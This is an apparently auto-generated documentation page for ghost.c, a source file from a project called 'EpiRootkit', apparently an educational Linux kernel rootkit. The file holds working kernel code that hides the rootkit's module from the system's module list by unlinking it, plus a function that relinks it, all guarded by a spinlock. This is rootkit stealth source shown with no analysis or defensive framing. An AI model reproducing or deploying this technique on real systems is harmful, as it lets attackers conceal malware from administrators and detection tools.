EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
ghost.c
Go to the documentation of this file.
1
#include "
epirootkit.h
"
2
3
static
struct
list_head *
prev_module
;
4
static
bool
module_hidden
=
false
;
5
static
DEFINE_SPINLOCK
(hide_lock);
6
7
int
hide_module
(
void
) {
8
unsigned
long
flags;
9
10
spin_lock_irqsave(&hide_lock, flags);
11
if
(
module_hidden
) {
12
spin_unlock_irqrestore(&hide_lock, flags);
13
return
SUCCESS
;
14
}
15
16
prev_module
= THIS_MODULE->list.prev;
17
list_del(&THIS_MODULE->list);
18
module_hidden
=
true
;
19
20
spin_unlock_irqrestore(&hide_lock, flags);
21
return
SUCCESS
;
22
}
23
24
int
unhide_module
(
void
) {
25
unsigned
long
flags;
26
27
spin_lock_irqsave(&hide_lock, flags);
28
if
(!
module_hidden
) {
29
spin_unlock_irqrestore(&hide_lock, flags);
30
return
SUCCESS
;
31
}
32
33
list_add(&THIS_MODULE->list,
prev_module
);
34
module_hidden
=
false
;
35
36
spin_unlock_irqrestore(&hide_lock, flags);
37
return
SUCCESS
;
38
}
SUCCESS
#define SUCCESS
Definition
config.h:5
epirootkit.h
prev_module
static struct list_head * prev_module
Definition
ghost.c:3
hide_module
int hide_module(void)
Definition
ghost.c:7
module_hidden
static bool module_hidden
Definition
ghost.c:4
DEFINE_SPINLOCK
static DEFINE_SPINLOCK(hide_lock)
unhide_module
int unhide_module(void)
Definition
ghost.c:24